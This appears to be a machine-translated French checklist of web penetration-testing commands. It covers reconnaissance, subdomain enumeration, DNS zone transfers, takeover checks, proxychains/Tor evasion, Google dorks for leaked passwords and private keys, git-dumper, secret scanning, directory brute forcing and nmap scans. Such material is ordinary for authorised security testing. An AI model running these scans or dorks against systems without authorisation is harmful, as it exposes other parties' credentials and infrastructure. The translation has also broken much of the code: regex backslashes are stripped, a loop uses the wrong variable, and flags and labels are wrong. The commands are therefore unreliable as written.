C'est plus une liste de contrôle pour moi. Peut contenir des conseils et des astuces utiles.
Tout a été testé sur Kali Linux V2023.1 (64 bits).
Pour obtenir de l'aide avec l'un des outils, écrivez <tool_name> [-h | -hh | --help] ou man <tool_name> .
Parfois, -h peut être confondu avec un hôte ou une autre option. Si tel est le cas, utilisez -hh ou --help à la place, ou lisez le manuel avec man .
Certains outils effectuent des tâches similaires, mais obtiennent des résultats légèrement différents. Exécutez tout ce que vous pouvez. De nombreux outils se complètent également!
Gardez à l'esprit lorsqu'aucun protocole ni numéro de port dans une URL n'est spécifié, c'est-à-dire que si vous ne spécifiez que somesite.com , certains outils seront par défaut vers le protocole HTTP et le port 80.
Si vous ne l'avez pas déjà fait, lisez le guide de test de sécurité Web OWASP. La liste de contrôle peut être téléchargée ici.
Je recommande vivement de lire des problèmes de sécurité communs dans le Web orienté financièrement.
Sites Web que vous devez utiliser lors de la rédaction du rapport:
Mes autres feuilles de triche:
0. Installez les outils et la configuration
1. Reconnaissance
2. Analyse / énumération
3. Évaluation / exploitation de la vulnérabilité
4. Post Exploitation
5. Crackage de mot de passe
6. Ingénierie sociale
7. Divers
La plupart des outils peuvent être installés avec le gestionnaire de packages Linux:
apt-get update && apt-get -y install sometoolPour plus d'informations, visitez kali.org/tools.
Certains outils Python doivent être téléchargés et installés manuellement:
python3 setup.py install
Ou, installé à partir du PYPI:
pip3 install sometool
python3 -m pip install sometool
Certains outils de Golang doivent être téléchargés et construits manuellement:
go build sometool.go
Ou, installé directement:
go install -v github.com/user/sometool@latest
Pour plus d'informations, visitez pkg.go.dev.
Pour configurer Golang, courez:
apt-get -y install golang
echo " export GOROOT=/usr/lib/go " >> ~ /.zshrc
echo " export GOPATH= $HOME /go " >> ~ /.zshrc
echo " export PATH= $GOPATH /bin: $GOROOT /bin: $PATH " >> ~ /.zshrc
source ~ /.zshrc Si vous utilisez une autre console, vous devrez peut-être écrire à ~/.bashrc , etc.
Certains outils qui se présentent sous forme de binaires ou de scripts de coquille peuvent être déplacés vers /usr/bin/ répertoire pour la facilité d'utilisation:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometoolCertains outils Java doivent être téléchargés et exécutés manuellement avec Java (JRE):
java -jar sometool.jar
Liste des API utiles pour intégrer dans vos outils:
Téléchargez une liste d'agents utilisateur de bot-safe, nécessite des scrapeops.io API Key:
python3 - c 'import json, requests; open("./user_agents.txt", "w").write((" n ").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'Téléchargez une liste de résolveurs DNS de confiance, ou manuellement à partir de trickest / résolveurs:
python3 - c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'Si Google ou tout autre moteur de recherche ou service bloque votre outil, utilisez ProxyChains-NG et TOR pour contourner la restriction.
Installation:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher Effectuez les modifications suivantes dans /etc/proxychains4.conf :
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
Assurez-vous de commenter n'importe quel type de chaîne autre que round_robin - par exemple, commentez strict_chain dans # strict_chain .
Démarrer Tor:
service tor start
Ensuite, exécutez n'importe quel outil souhaité:
proxychains4 sometool
En utilisant uniquement TOR ne suffira probablement pas, vous devrez ajouter plus de proxys (1) (2) à /etc/proxychains4.conf ; Cependant, il est difficile de trouver des proxys gratuits et stables qui ne sont pas déjà mis sur liste noire.
Téléchargez une liste de proxys gratuits:
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[]) (.ip) (.port)" ' > proxychains.txt
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[])://(.ip):(.port)" ' > proxies.txtGardez à l'esprit que certains sites Web [Legacy] ne peuvent être accessibles que par des navigateurs Web spécifiques tels que Internet Explorer ou Edge.
Gardez à l'esprit que certains sites Web peuvent manquer la page d'index et peuvent ne pas vous rediriger vers la page d'accueil réelle. Si tel est le cas, essayez de deviner manuellement un chemin complet vers la page d'accueil, utilisez Wayback Machine ou GAU pour trouver d'anciennes URL, ou essayez le fuzzing du répertoire avec Feroxbuster ou Dirbuster.
Recherchez sur Internet les chemins et fichiers par défaut / prédéfinis pour une application Web spécifique. Utilisez les informations recueillies en combinaison avec Google Dorks, Chad et HTTPX pour trouver les mêmes chemins et fichiers sur différents domaines. Pour les applications Web non aussi courantes, essayez de trouver et de parcourir le code source pour les chemins et fichiers par défaut / prédéfinis.
Vous pouvez trouver le code source de l'application sur GitHub, Gitlab, SearchCode, etc.
Recherchez le code source de l'application pour les clés de l'API, les informations d'identification, les secrets, les jetons, les hôtes, etc., avec un gratte-ciel truffle et de fichier. N'oubliez pas de vérifier les anciens commits GitHub pour les touches API anciennes mais toujours actives, les informations d'identification, les secrets, les jetons, etc.
Inspectez la console Web pour d'éventuelles erreurs. Inspectez le code source de l'application pour les commentaires possibles.
N'oubliez pas d'accéder au serveur Web sur une adresse IP car vous pouvez trouver la page de bienvenue par défaut du serveur ou un autre contenu.
Rassembler des informations:
dmitry -wines -o dmitry_results.txt somedomain.com
Déprécié. La recherche Netcraft ne fonctionne pas.
Rassembler des informations:
theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com
Cet outil modifie assez souvent les moteurs de recherche, en tant que tels, certains pourraient ne pas fonctionner à cette lecture.
Parfois, le fichier de sortie peut par défaut à /usr/lib/python3/dist-packages/theHarvester/ répertoire.
Extraire les noms d'hôtes des résultats:
jq ' .hosts[] ' theharvester_results.json | sort -uf | tee -a subdomains.txtExtraire IPS des résultats:
jq ' .ips[] ' theharvester_results.json | sort -uf | tee -a ips.txtExtraire les e-mails des résultats:
jq ' .emails[] ' theharvester_results.json | sort -uf | tee -a emails.txtExtraire les e-mails des résultats:
jq ' .asns[] ' theharvester_results.json | sort -uf | tee -a asns.txtTrouvez des métadonnées et des informations cachées dans les fichiers.
Testé sur Windows 10 Enterprise OS (64 bits).
Exigences minimales:
GUI est très intuitif.
Installation:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
Définissez vos touches API dans /root/.config/uncover/provider-config.yaml comme suit:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
Rassemblez des informations à l'aide de Shodan, des recenses et plus encore:
uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com
jq -r ' .host // empty ' uncover_results.json | sort -uf | tee -a subdomains.txt
jq -r ' .ip // empty ' uncover_results.json | sort -uf | tee -a ips.txtÀ faire: plus de Shodan et recense des Dorks.
Rassemblez des sous-domaines à l'aide d'osint:
assetfinder --subs-only somedomain.com | grep -v ' * ' | tee assetfinder_results.txtRassemblez des sous-domaines à l'aide d'osint:
sublist3r -o sublister_results.txt -d somedomain.com
Installation:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
Rassemblez des sous-domaines à l'aide d'osint:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
SubFinder a des résolveurs DNS intégrés.
Définissez vos touches API dans /root/.config/subfinder/config.yaml Fichier suivantes:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
Rassemblez des sous-domaines à l'aide d'osint:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
Amass a des résolveurs DNS intégrés.
Pour trouver ASNS d'IPS et CIDRS des ASN, utilisez WHOIS. Les analyses ASN et CIDR ci-dessous mettront beaucoup de temps à terminer. Les résultats pourraient ne pas être dans votre portée autorisée par le client!
Rassemblez des sous-domaines de l'ASN:
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
Rassemblez des sous-domaines de CIDR:
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
Fetch Name Serveurs:
dig +noall +answer -t NS somedomain.com
Retroncez des serveurs d'échange:
dig +noall +answer -t MX somedomain.com
Interroger un serveur de noms de domaine:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
Remplissez le fichier de zone à partir d'un serveur de noms de domaine:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
Recherche IP inversée:
dig +noall +answer -x 192.168.8.5
[Takeover du sous-domaine] Vérifiez si les domaines / sous-domaines sont morts, recherchez les codes de statut NXDOMAIN , SERVFAIL ou REFUSED :
for subdomain in $( cat subdomains.txt ) ; do res= $( dig " ${subdomain} " -t A +noall +comments +timeout=3 | grep -Po ' (?<=status: )[^s]+(?<!,) ' ) ; echo " ${subdomain} | ${res} " ; done | sort -uf | tee -a subdomains_to_status.txt
grep -v ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors.txt
grep ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors_none.txtVoir l'outil hôte pour l'étape suivante.
Interroger les serveurs de noms de domaine:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
Par défaut, Fierce effectuera un dictionnaire d'attaque avec sa liste de mots intégrée.
Interroger les serveurs de noms de domaine:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
DNSRECON peut effectuer une attaque de dictionnaire avec une liste de mots définie par l'utilisateur, mais assurez-vous de spécifier un chemin complet vers la liste de mots; Sinon, DnsRecon pourrait ne pas le reconnaître.
Assurez-vous de spécifier un chemin complet vers le fichier de sortie; Sinon, il sera par défaut vers /usr/share/dnsrecon/ répertoire, c'est-à-dire au répertoire racine.
Extraire les noms d'hôtes des résultats du transfert standard / de la zone / force brute:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .exchange // empty, .name // empty, .target // empty ' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txtExtraire les IP des résultats de la force de transfert / zone standard / de zone:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .address // empty ' dnsrecon_std_results.json | sort -uf | tee -a ips.txt[Takeover du sous-domaine] Extraire les noms canoniques des résultats de la force standard / transfert / force brute:
jq -r ' .[] | select(.type | test("^CNAME$")).target ' dnsrecon_std_results.json | sort -uf | tee -a cnames.txtRecherche IP inversée:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
Extraire les hôtes virtuels des résultats de la recherche IP inverse:
jq -r ' .[] | if type == "array" then .[].name else empty end ' dnsrecon_ptr_results.json | sort -uf | tee -a subdomains.txtCertains serveurs DNS ne répondront pas aux quieries DNS de type «any», utilisez à la place le type «a».
Rassemblez les IP pour les domaines / sous-domaines donnés (demandez A enregistrements):
for subdomain in $( cat subdomains.txt ) ; do res= $( host -t A " ${subdomain} " | grep -Po ' (?<=has address )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_to_ips.txt | sort -uf | tee -a ips.txtVérifiez si les domaines / sous-domaines sont vivants avec httpx. Vérifiez si les IP sont vivants avec NMAP faisant le balayage de ping.
Rassemblez les hôtes virtuels pour les IPS donnés (demandez des enregistrements PTR ):
for ip in $( cat ips.txt ) ; do res= $( host -t PTR " ${ip} " | grep -Po ' (?<=domain name pointer )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po ' (?<=| )[^s]+ ' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt [Takeover du sous-domaine] Rassemblez les noms canoniques pour les domaines / sous-domaines d'erreur donnés (demandez des enregistrements CNAME ):
for subdomain in $( cat subdomains_errors.txt ) ; do res= $( host -t CNAMES " ${subdomain} " | grep -Po ' (?<=is an alias for )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_errors_to_cnames.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_errors_to_cnames.txt | sort -uf | tee -a subdomain_takeover.txtRassemblez des ASN à IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.cymru.com " ${ip} " | grep -Poi ' ^d+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_asns.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_asns.txt | sort -uf | tee -a asns.txtRassemblez les CIDRS à partir d'ASNS:
for asn in $( cat asns.txt ) ; do res= $( whois -h whois.radb.net -i origin " AS ${asn} " | grep -Poi ' (?<=route:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " AS ${asn} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a asns_to_cidrs.txt
grep -Po ' (?<=| )(?(?! |).)+ ' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt[Takeover du sous-domaine] Rassemblez les noms d'organisation à partir d'IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.arin.net " ${ip} " | grep -Po ' (?<=OrgName:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txtVérifiez si une IP appartient à l'organisation GitHub, en savoir plus sur GitHub Takeover dans cet article H1.
Installation:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
Obtenez la touche API ProjectDiscovery de Cloud.ProjectDiscovery.io et exécutez:
asnmap -auth
Rassemblez des CIDRS à ASN:
asnmap -r resolvers.txt -a asn | tee -a asnmap_cidr_results.txtRassemblez les CIDR à partir d'identité d'organisation:
asnmap -r resolvers.txt -org id | tee -a asnmap_cidr_results.txtVérifiez si les domaines / sous-domaines sont vivants, mappez les hôtes en direct:
httpx-toolkit -o httpx_results.txt -l subdomains_errors_none.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains_errors_none.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443Filtrez des domaines / sous-domaines des résultats JSON:
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r ' select(."status-code" | tostring | test("^2")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx.txt
jq -r ' select(."status-code" | tostring | test("^2|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx_4xx.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_3xx.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_401.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_403.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_4xx.txt
jq -r ' select(."status-code" | tostring | test("^5")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_5xx.txt
grep -Po ' http://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt
grep -Po ' https://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt
grep -Po ' (?<=://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short.txt
grep -Po ' (?<=http://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_http.txt
grep -Po ' (?<=https://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_https.txt
grep -Po ' (?<=://)[^s:]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txtVérifiez si un répertoire existe sur un serveur Web:
httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live_long.txt -path /.gitRassemblez les URL de la machine Wayback:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $( cat subdomains_live.txt ) ; do getallurls " ${subdomain} " ; done | sort -uf | tee gau_results.txtFiltrez les URL des résultats:
httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_gau_results.json | sort -uf | tee gau_401_results.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txtInstallation:
go install -v github.com/utkusen/urlhunter@latestRassemblez les URL des services de raccourcissement des URL:
urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt
Bases de données Google Dork:
Consultez la liste des fichiers /.well-known/ ici.
Google Dorking n'affichera pas les répertoires ni les fichiers qui sont refusés dans robots.txt , pour vérifier ces répertoires et fichiers utilisent httpx.
Ajouter site:www.somedomain.com pour limiter votre portée à un domaine / sous-domaine spécifié. Ajouter site:*.somedomain.com pour limiter votre portée à tous les sous-domaines. Ajouter site:*.somedomain.com -www pour exclure le sous-domaine www des résultats.
Simple Google Dorks:
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
Trouver et télécharger des fichiers à l'aide d'un Google Dork:
mkdir chad_downloads
chad -nsos -o chad_downloads_results.json -dir chad_downloads -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com
Extraire les auteurs (et plus) à partir des fichiers:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_results | grep -Po ' (?<=Author: ).+ ' | sort -uf | tee -a people.txtTrouver des listes de répertoires à l'aide d'un Google Dork:
chad -nsos chad_directory_listings_results.json -tr 100 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
En savoir plus sur mon projet chez Ivan-Sincek / Chad.
Téléchargez la dernière version à partir de GitHub et vérifiez comment installer l'outil.
Obtenez des informations sur le numéro de téléphone:
phoneinfoga scan -n +1111111111
Obtenez une information de numéro de téléphone en interaction avec l'interface utilisateur:
phoneinfoga serve
Accédez à http://localhost:5000 avec votre navigateur Web préféré.
Essayez de reconstruire un référentiel GitHub, c'est-à-dire, obtenez le code source, en fonction de l'historique des validations d'un répertoire public /.git :
git-dumper https://somesite.com/.git git_dumper_results
Cet outil peut ne pas être en mesure de reconstruire l'ensemble du référentiel à chaque fois, mais il pourrait encore révéler des informations sensibles.
Quelques commandes git supplémentaires pour essayer le répertoire cloné /.git :
git status
git log
git checkout -- .
git restore .
Utilisez Google Dorking et Chad pour trouver plus de cibles.
Installation:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go installRecherchez des touches sensibles dans un seul référentiel ou toute l'organisation sur GitHub:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
Recherchez des clés sensibles dans les fichiers et les répertoires:
trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2
En savoir plus sur le projet chez TruffleSecurity / Trufflehog.
À faire: terminer.
En savoir plus sur le projet chez Ivan-Sincek / File-Scraper.
Installation:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
Crawer un site Web:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u subdomains_live_long_2xx.txt
Crawer un site Web, télécharger et embellir des fichiers JavaScript [minifiés]:
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u https://somesite.com/home
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u subdomains_live_long_2xx.txt
Dans le cas où vous n'obtenez aucun résultat lors de l'utilisation du navigateur sans tête de Playwright, essayez de le mettre à jour:
pip3 install --upgrade playwright
playwright install chromium
En savoir plus sur mon projet chez Ivan-Sincek / Scrapy-Scraper.
Grattez les fichiers JavaScript à l'aide de truffes et de grattoir de fichier.
N'oubliez pas que GNU / Linux OS dispose d'un système de fichiers sensible à la casse, alors assurez-vous d'utiliser les bonnes listes de mots.
Si vous n'obtenez pas de coups lors des répertoires de forçage brute, essayez de forcer les fichiers brute en spécifiant les extensions de fichiers.
Les outils ci-dessous prennent en charge le répertoire récursif et la recherche de fichiers. En outre, ils pourraient prendre beaucoup de temps pour terminer en fonction des paramètres et de la liste de mots utilisés.

Figure 1 - Dirbuster
Tous les listes de mots de Dirbuster sont situées sur /usr/share/dirbuster/wordlists/ répertoire.
Répertoires de force brute sur un serveur Web:
cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt
Cet outil est plus rapide que Dirbuster.
Filtrez les répertoires des résultats:
jq -r ' select(.status | tostring | test("^2")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt
jq -r ' select(.status | tostring | test("^2|^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt
jq -r ' select(.status | tostring | test("^3")).url ' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt
jq -r ' select(.status | tostring | test("^401$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_401.txt
jq -r ' select(.status | tostring | test("^403$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_403.txt
jq -r ' select(.status | tostring | test("^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt
jq -r ' select(.status | tostring | test("^5")).url ' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt| Option | Description |
|---|---|
| -U | L'URL cible (requise, à moins que [--stdin | - résum-from] soit utilisée) |
| --Stdin | Lire URL (s) de STDIN |
| -a / -a | Définit l'agent utilisateur (par défaut: feroxbuster / xxx) / utilisez un agent utilisateur aléatoire |
| -x | Extension de fichier (s) pour rechercher (ex: -x php -x pdf, js) |
| -m | Quelle méthode de demande HTTP doit être envoyée (par défaut: obtenez) |
| --données | Le corps de la demande; Peut lire les données d'un fichier si la saisie commence par un @ (ex: @ post.bin) |
| -H | Spécifiez les en-têtes HTTP à utiliser dans chaque demande (Ex: -H Header: Val -h 'Stuff: Things') |
| -B | Spécifiez les cookies HTTP à utiliser dans chaque demande (Ex: -B Stuff = Things) |
| -Q | Paramètres de requête URL de la demande (Ex: -Q Token = Stuff -Q Secret = Key) |
| -f | Ajouter / à l'URL de chaque demande |
| -s | Codes d'état à inclure (Autoriser la liste) (par défaut: 200 204 301,302,307 308 401 403 405) |
| -T | Nombre de secondes avant les heures de demande d'un client (par défaut: 7) |
| -K | Désactive la validation du certificat TLS pour le client |
| -T | Nombre de threads simultanés (par défaut: 50) |
| -n | Ne pas scanner récursivement |
| -W | Chemin vers la liste de mots |
| - Auto-Bail | Arrêtez automatiquement la numérisation lorsqu'une quantité excessive d'erreurs est rencontrée |
| -B | Demandez automatiquement les extensions de sauvegarde probables pour les URL "trouvées" (par défaut: ~, .bak, .bak2, .old, .1) |
| -Q | Masquer les barres de progression et la bannière (bonne pour les fenêtres TMUX avec notifications) |
| -o | Fichier de sortie pour écrire des résultats (utiliser w / --json pour les entrées JSON) |
Téléchargez la dernière version de GitHub. Voir comment installer l'outil.
Recherchez un serveur Web pour les fichiers sensibles:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $( cat subdomains_live_short_http.txt ) ; do snallygaster --nohttps --nowww " ${subdomain} " ; done | tee snallygaster_http_results.txt
for subdomain in $( cat subdomains_live_short_https.txt ) ; do snallygaster --nohttp --nowww " ${subdomain} " ; done | tee snallygaster_https_results.txtTélécharger:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/releaseRecherchez un serveur IIS pour les fichiers et les répertoires:
java -jar iis_shortname_scanner.jar 2 30 https://somesite.com
Identifier un site Web:
whatweb -v somesite.com
Testez toutes les inscriptions robots.txt :
parsero -sb -u somesite.com
Saisissez des captures d'écran des sites Web:
eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt
Pour vérifier les captures d'écran, accédez au répertoire eyewitness_results/screens .
Vous pouvez trouver rockyou.txt à l'intérieur /usr/share/wordlists/ Directory ou à l'intérieur de seclists - une collection utile de plusieurs types de listes de mots pour les évaluations de sécurité.
Installer Seclists (la collection sera stockée sur /usr/share/seclists/ répertoire):
apt-get update && apt-get install seclistsMa contribution aux Seclists: Danielmissler / Seclists / Tree / Master / Fuzzing / montants
Une autre collection de listes de mots populaires:
Gardez à l'esprit que les applications ou services Web peuvent être hébergés sur d'autres ports en plus de 80 (HTTP) et 443 (HTTPS), par exemple, ils peuvent être hébergés sur le port 8443 (HTTPS).
Gardez à l'esprit que sur les ports 80 (HTTP) et 443 (HTTPS), un serveur Web peut héberger différentes applications Web ou services. Utilisez NCAT ou Telnet pour la saisie des bannières.
Gardez à l'esprit que sur différents chemins URL, un serveur Web peut héberger différentes applications Web ou services, par exemple, somesite.com/app_one/ et somesite.com/app_two/ .
Lors de la numérisation des vulnérabilités ou de l'exécution d'autres analyses intensives, vérifiez périodiquement l'application ou le service Web s'il s'est écrasé, afin que vous puissiez alerter votre client dès que possible; Ou au cas où vous avez obtenu le taux limité par le pare-feu d'application Web (WAF) ou un autre produit de sécurité, afin que vous puissiez suspendre vos analyses car toutes vos demandes suivantes seront bloquées et que vos résultats ne seront pas terminés.
Si une application Web ou un service cesse de répondre soudainement, essayez d'accéder à l'application Web ou au service à l'aide de vos données mobiles, c'est-à-dire en utilisant une IP différente. Il est possible que votre propriété intellectuelle actuelle ait été temporairement bloquée.
Envoyez un e-mail à une adresse inexistante dans le domaine de Target, il révèle souvent des informations de réseau interne utiles via une notification de non-livraison (NDN).
Obtenez une communauté Nessus gratuite, et si vous pouvez vous le permettre, obtenez Burp Suite Professional ou Caido.
Pour de meilleurs résultats, utilisez des IP au lieu des noms de domaine.
Ping Sweep, Map Live Hosts:
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt
Certains serveurs Web ne répondront pas aux demandes de ping (ICMP), de sorte que la cartographie des hôtes en direct ne sera pas exacte.
Extraire les hôtes en direct des résultats:
grep -Po ' (?<=Host: )[^s]+ ' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txtScan TCP, tous les ports:
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt
Automatiser le scan TCP:
mkdir nmap_tcp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sS -sV -sC -Pn -oN " nmap_tcp_results/nmap_tcp_results_ ${ip // . / _} .txt " -p- " ${ip} " ; doneAnalyse UDP, seulement des ports importants:
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
Automatiser la numérisation UDP:
mkdir nmap_udp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sU -sV -sC -Pn -oN " nmap_udp_results/nmap_udp_results_ ${ip // . / _} .txt " -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 " ${subdomain} " ; done| Option | Description |
|---|---|
| -sn | Ping Scan - Désactiver la numérisation du port |
| -Pn | Traitez tous les hôtes comme en ligne - sautez la découverte de l'hôte |
| -n / -r | Ne faites jamais de résolution DNS / Resolve toujours (par défaut: parfois) |
| -SS / ST / SA | TCP Syn / Connect () / ACK |
| -su | Scan UDP |
| -p / -p- | Numérifier uniquement les ports spécifiés / scanner tous les ports |
| - TOP-PORTS | Scannez les ports les plus courants |
